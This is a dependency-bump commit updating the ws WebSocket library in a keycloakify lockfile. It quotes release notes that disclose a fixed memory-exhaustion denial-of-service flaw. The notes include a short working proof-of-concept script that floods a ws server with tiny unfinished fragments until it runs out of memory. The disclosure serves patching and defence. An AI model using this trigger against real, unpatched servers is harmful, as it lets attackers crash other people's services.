chore(deps): bump ws from 8.18.2 to 8.21.0 in /keycloak/keycloakify (#6875)

Bumps [ws](https://github.com/websockets/ws) from 8.18.2 to 8.21.0.
<details>
<summary>Release notes</summary>
<p><em>Sourced from <a
href="https://github.com/websockets/ws/releases">ws's
releases</a>.</em></p>
<blockquote>
<h2>8.21.0</h2>
<h1>Features</h1>
<ul>
<li>Introduced the <code>maxBufferedChunks</code> and
<code>maxFragments</code> options (2b2abd45).</li>
</ul>
<h1>Bug fixes</h1>
<ul>
<li>Fixed a remote memory exhaustion DoS vulnerability (2b2abd45).</li>
</ul>
<p>A high volume of tiny fragments and data chunks could be sent by a
peer, using
modest network traffic, to crash a <code>ws</code> server or client due
to OOM.</p>
<pre lang="js"><code>import { WebSocket, WebSocketServer } from 'ws';
<p>const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(<code>ws://localhost:${port}</code>);</p>
<p>ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});</p>
<p>ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(<code>client close - code: ${code} reason:
${reason.toString()}</code>);
});
});</p>
<p>wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(<code>server close - code: ${code} reason:
${reason.toString()}</code>);
});
});
</code></pre></p>
<p>The vulnerability was responsibly disclosed and fixed by <a
href="https://github.com/Nadav0077">Nadav Magier</a>.</p>
<p>In vulnerable versions, the issue can be mitigated by lowering the
value of the
<code>maxPayload</code> option if possible.</p>
<h2>8.20.1</h2>
<!-- raw HTML omitted -->
</blockquote>
<p>... (truncated)</p>
</details>
<details>
<summary>Commits</summary>
<ul>
<li><a
href="https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94"><code>bca91ad</code></a>
[dist] 8.21.0</li>
<li><a
href="https://github.com/websockets/ws/commit/2b2abd458a1b647d0b6033bd62a619c36189839a"><code>2b2abd4</code></a>
[security] Limit retained message parts</li>
<li><a
href="https://github.com/websockets/ws/commit/78eabe2a6677b231bf9c82601bde86ff91639490"><code>78eabe2</code></a>
[security] Add latest vulnerability to SECURITY.md</li>
<li><a
href="https://github.com/websockets/ws/commit/5d9b316230ea931532a6671cc450f18c11edd02f"><code>5d9b316</code></a>
[dist] 8.20.1</li>
<li><a
href="https://github.com/websockets/ws/commit/c0327ec15a54d701eb6ccefaa8bef328cfc03086"><code>c0327ec</code></a>
[security] Fix uninitialized memory disclosure in
<code>websocket.close()</code></li>
<li><a
href="https://github.com/websockets/ws/commit/ce2a3d62437995a47e6056d485a33d21b6a8f867"><code>ce2a3d6</code></a>
[ci] Test on node 26</li>
<li><a
href="https://github.com/websockets/ws/commit/58e45b872bb0f35a3edd553c27e105300a4f5bd0"><code>58e45b8</code></a>
[ci] Do not test on node 25</li>
<li><a
href="https://github.com/websockets/ws/commit/5f26c245231a4b018479a9269e8c3da4773fe42f"><code>5f26c24</code></a>
[ci] Run the lint step on node 24</li>
<li><a
href="https://github.com/websockets/ws/commit/843925544e2f4cffe445e0179947f56d6c5b608f"><code>8439255</code></a>
[dist] 8.20.0</li>
<li><a
href="https://github.com/websockets/ws/commit/d3503c1fd36a310985108f62b343bae18346ab67"><code>d3503c1</code></a>
[minor] Export the <code>PerMessageDeflate</code> class and header
utils</li>
<li>Additional commits viewable in <a
href="https://github.com/websockets/ws/compare/8.18.2...8.21.0">compare
view</a></li>
</ul>
</details>
<br />


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keycloak/keycloakify/yarn.lock

@@ -4889,8 +4889,8 @@ __metadata:
   linkType: hard
 
 "ws@npm:^8.18.0":
-  version: 8.18.2
-  resolution: "ws@npm:8.18.2"
+  version: 8.21.0
+  resolution: "ws@npm:8.21.0"
   peerDependencies:
     bufferutil: ^4.0.1
     utf-8-validate: ">=5.0.2"
@@ -4899,7 +4899,7 @@ __metadata:
       optional: true
     utf-8-validate:
       optional: true
-  checksum: 10c0/4b50f67931b8c6943c893f59c524f0e4905bbd183016cfb0f2b8653aa7f28dad4e456b9d99d285bbb67cca4fedd9ce90dfdfaa82b898a11414ebd66ee99141e4
+  checksum: 10c0/ef4a243476283fc49bc7550966c4af4aa0eef56273837211e700de3b664e08604a760cdddcb5ba43c049140e74ccfec5b0ee0bb439e08c2adf9138902fdde5f9
   languageName: node
   linkType: hard